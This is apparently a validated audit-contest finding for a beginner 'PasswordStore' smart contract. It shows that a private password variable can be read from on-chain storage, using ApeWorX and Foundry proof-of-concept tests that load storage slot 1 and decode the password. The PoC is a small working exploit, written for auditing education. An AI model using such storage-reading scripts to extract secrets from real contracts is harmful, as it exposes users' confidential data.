Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Broken Access control

Broken Access control

Summary

All storage is publicly visible on the blockchain, even private variables.

Vulnerability Details

According to Solidity documentation, statically-sized variables (everything except mapping and dynamically-sized array types) are laid out contiguously in storage starting from position 0. Multiple items that need less than 32 bytes are packed into a single storage slot if possible.

Impact

Anyone can read the password and the account associated with it. Which violates the whole idea of a password magagement system.

POC

ApeWorX

  1. Setup an ape environment using ape init.

  2. Setup conftest.py like this

import ape
import pytest
from ape import project
@pytest.fixture(scope="session")
def accounts():
return ape.accounts
@pytest.fixture(scope="session")
def test_accounts(accounts):
return accounts.test_accounts
@pytest.fixture
def owner(test_accounts):
return test_accounts[-1]
@pytest.fixture
def attacker(test_accounts):
return test_accounts[-2]
@pytest.fixture
def PasswordStore(owner):
return project.PasswordStore.deploy(sender=owner)
  1. Setup the test file like this

from ape import networks
def test_read_password_from_storage(owner, attacker, PasswordStore):
password = "super_password"
PasswordStore.setPassword(password, sender=owner)
passwd = (
networks.provider.get_storage_at(PasswordStore.address, 1)
.decode()
.replace("\x00", "") # noqa
).strip()
assert password == passwd
  1. Run it using ape test tests/bug_tests.py.

Foundry

  1. The approach is same.

// https://ethereum.stackexchange.com/questions/2519/how-to-convert-a-bytes32-to-string
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function test_read_password_from_storage() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
vm.startPrank(address(2));
bytes32 password = vm.load(address(passwordStore), bytes32(uint256(1)));
assertEq(bytes32ToString(password), expectedPassword);
}
  1. Run forge test --match-path test/PasswordStore.t.sol -vvvvv

Tools Used

Manual Review, ApeWorX, Foundry.

Recommendations

Never store passwords and private keys without hashing them first.

References

  • https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.